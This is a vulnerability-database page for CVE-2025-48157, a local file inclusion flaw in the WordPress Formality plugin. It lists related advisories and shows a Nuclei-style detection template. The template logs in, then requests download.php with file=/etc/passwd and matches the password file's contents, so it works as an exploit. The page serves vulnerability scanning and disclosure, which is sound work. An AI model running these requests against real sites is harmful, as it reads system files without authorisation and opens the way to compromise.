| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| WordPress plugin Formality 安全漏洞 | 20 Aug 202500:00 | – | cnnvd | |
| CVE-2025-48157 | 20 Aug 202508:03 | – | cve | |
| CVE-2025-48157 WordPress Formality <= 1.5.9 - Local File Inclusion Vulnerability | 20 Aug 202508:03 | – | cvelist | |
| EUVD-2025-25375 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-48157 | 20 Aug 202508:15 | – | nvd | |
| WordPress Formality <= 1.5.9 - Local File Inclusion Vulnerability | 16 Jul 202511:03 | – | patchstack | |
| PT-2025-33916 · Michele Giorgi · Formality | 20 Aug 202500:00 | – | ptsecurity | |
| CVE-2025-48157 | 22 Aug 202508:31 | – | redhatcve | |
| CVE-2025-48157 WordPress Formality <= 1.5.9 - Local File Inclusion Vulnerability | 20 Aug 202508:03 | – | vulnrichment | |
| Wordfence Intelligence Weekly WordPress Vulnerability Report (July 14, 2025 to July 20, 2025) | 24 Jul 202514:26 | – | wordfence |
id: CVE-2025-48157
info:
name: WordPress Formality Plugin <= 1.5.9 - Local File Inclusion
author: pussycat0x
severity: critical
description: |
Michele Giorgi Formality <= 1.5.9 contains a file inclusion vulnerability caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires crafted input.
impact:
Attackers can include local files, potentially leading to code execution or information disclosure.
remediation:
Update to the latest version beyond 1.5.9.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/formality/formality-159-unauthenticated-local-file-inclusion
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3277800%40formality&old=3248498%40formality
- https://nvd.nist.gov/vuln/detail/CVE-2025-48157
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-48157
epss-score: 0.02042
epss-percentile: 0.7882
cwe-id: CWE-98
metadata:
verified: true
max-request: 3
shodan-query: http.component:"WordPress"
tags: cve,cve2025,wordpress,wp,wp-plugin,formality,lfi,authenticated
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?action=export_formality_result&form_id=1 HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/uploads/formality/storage/download.php?wproot=/var/www/html&file=/etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(content_type_3, 'text/plain')"
- "regex('root:.*:0:0:', body_3)"
- "status_code_3 == 200"
condition: and
# digest: 4b0a00483046022100a960905953105e26a22f6e2d62ff0c262716188b6d50e609d63b8567abb41788022100ee882b45dc31fec7043ce28ad781ec6b9514fca68edf44f104fa985ed625ce10:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation